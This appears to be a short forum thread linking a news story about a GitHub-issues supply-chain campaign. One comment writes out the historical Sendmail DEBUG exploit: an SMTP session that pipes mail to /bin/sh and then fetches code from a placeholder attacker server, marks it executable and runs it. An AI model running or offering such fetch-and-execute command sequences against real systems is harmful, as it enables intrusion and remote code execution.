Attackers turn GitHub issues into supply chain campaign against 61 public repos

6 pointsposted 13 hours ago
by theanonymousone
(theregister.com)

2 Comments

kazinator

13 hours ago

Those who don't understand shell execution vulnerabilities in 1984 Sendmail are condemned to repeating them:

  telnet victim-server 25
  DEBUG
  MAIL FROM:<attacker@domain.com>
  RCPT TO:<| /bin/sh>
  DATA
  cd /tmp
  ftp attacker_server
  get malicious_code
  chmod +x malicious_code
  ./malicious_code